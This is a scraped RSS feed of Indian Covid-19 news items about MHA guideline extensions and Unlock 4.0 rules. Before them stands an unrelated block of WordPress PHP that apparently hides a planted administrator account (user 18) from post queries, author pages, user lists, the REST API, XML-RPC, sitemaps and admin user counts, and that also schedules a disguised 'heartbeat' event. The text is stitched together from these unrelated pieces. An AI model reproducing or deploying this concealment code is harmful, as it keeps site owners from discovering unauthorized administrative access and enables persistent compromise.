add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post MHA Extends Covid Recommendations Until September 30 and Directs Localized Steps in Preparation for the Holiday Season appeared first on The Edge Media.
]]>Home Secretary Ajay Bhalla issued an official order in this regard, which was communicated to the chief secretaries of all states. The government stated in it that the earlier order for the application of Covid-19 procedures, which was issued on June 29, will now be implemented until September 30. The Centre is concerned that the total number of active cases and the case positivity rate in various areas across the country are still high.
The post MHA Extends Covid Recommendations Until September 30 and Directs Localized Steps in Preparation for the Holiday Season appeared first on The Edge Media.
]]>The post Unlock 4.0: What’s remains Locked and what’s getting Unlocked? appeared first on The Edge Media.
]]>The Centre gave nod for the eventual resumption of metro services from September 7, and the return of up to 50 per cent of teaching and non-teaching staff to schools outside containment zones from September 21. In the fourth stage of the government’s phase-wise post-coronavirus lockdown reopening, states will no longer be permitted to impose lockdowns outside containment zones without the Centre’s permission.
Given that most states and union territories were not in favour of reopening schools and colleges, the MHA announced that they will remain closed till September 30. However, from September 21, a limited number of teaching and non-teaching staff may be called back to schools outside containment zones, and senior students of classes 9 to 12 will be permitted to visit their classrooms to clear their doubts.
What’s getting Unlocked?
What’s remains Locked ?
Unlock 4: Haryana guidelines
The Haryana government on Sunday withdrew its order to keep markets in urban areas closed on Monday and Tuesday. Haryana’s home-cum-health minister Anil Vij announced on Sunday that the state government is withdrawing its lockdown order in view of the Unlock 4.0 guidelines that forbid any form of lockdown, barring in containment zones, without permission from the Centre.
Unlock 4: Tamil Nadu guidelines
The Tamil Nadu government has announced several relaxations starting September, including no ‘complete lockdown’ across the state, scrapping of e-pass system within districts and opening of all places of worship. However, an e-pass is compulsory for those coming in from other states via train, flight or road.
The post Unlock 4.0: What’s remains Locked and what’s getting Unlocked? appeared first on The Edge Media.
]]>